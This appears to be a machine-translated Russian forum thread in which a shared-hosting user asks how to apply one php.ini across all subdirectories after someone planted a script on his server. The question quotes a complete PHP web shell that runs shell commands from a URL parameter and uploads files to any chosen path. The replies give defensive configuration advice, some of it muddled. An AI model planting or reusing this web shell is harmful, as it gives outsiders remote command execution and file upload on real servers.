Как включить файл php.ini для всех каталогов / подкаталогов моего сервера?

Несколько недель назад я открыл отверстие на моем общем сервере, и мой друг загрузил следующий скрипт PHP:

<?php if(isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> <?php if(isset($_REQUEST['upload'])) { echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="5120000" /> Send this file: <input name="userfile" type="file" /> To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" /> <input type="submit" value="Send File" /> </form>'; } ?> <?php if(isset($_REQUEST['send'])) { $uploaddir = $_POST["direct"]; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir; } else { echo "Upload failed"; } } ?> 

Этот скрипт позволяет ему обрабатывать команды через переменные в URL.

Я отключил систему, среди других функций, в файле php.ini в моем каталоге public_html. Это предотвратит запуск сценария, если он находится в моем каталоге public_html, но не останавливает его, если он находится в подкаталоге этого. Если я скопирую файл php.ini в подкаталог, он перестанет работать из этого каталога.

Мой вопрос: как мне включить файл php.ini, чтобы повлиять на все каталоги / подкаталоги моего сервера?

Один, начните с «друга», который выбирает запуск сценариев, подобных этому.

Тогда беспокойтесь о защите вашего сервера. В вашей системе есть мастер php.ini где-то (часто /etc/php.ini, но если он может быть в нескольких местах, проверьте php_info ()). Этот файл управляет настройками по умолчанию для вашего сервера. Кроме того, вы можете блокировать файлы локальных настроек, которые допускают переопределения.

Вау! переместить файл php.ini на основе каждого каталога? Не знал, что вы можете это сделать.

Мое лучшее предположение (кто-то, пожалуйста, исправьте меня, если я ошибаюсь), php, вероятно, переопределяет глобальный файл php.ini локальным набором правил для каждого каталога (так же, как .htaccess), поэтому в основном все, что вам нужно будет сделать, это для обновления директив php.ini на глобальном php.ini (находится здесь в ubuntu: etc / php5 / apache2 / php.ini)

Кроме того, вы можете попытаться использовать .htaccess для добавления php-страницы на все страницы со следующим:

 ini_set('your_directive') 

Конечно, убедитесь, что .htaccess, который вызывает prepend php, находится в корне, иначе вы застряли с той же проблемой.

/ тр

Спасибо, ребята, ваши ответы были замечательными, но ответ был под моим носом все время. Через cPanel мне удалось изменить мой сервер, чтобы использовать один файл php.ini.

Ты уверен? Хотелось бы, чтобы у меня был ваш интернет-провайдер. По умолчанию некоторые интернет-провайдеры будут предоставлять локальную копию файла ini в public_html, чтобы разрешить переопределения. Но cPanel обычно предоставляет только ссылку на серверные значения по умолчанию.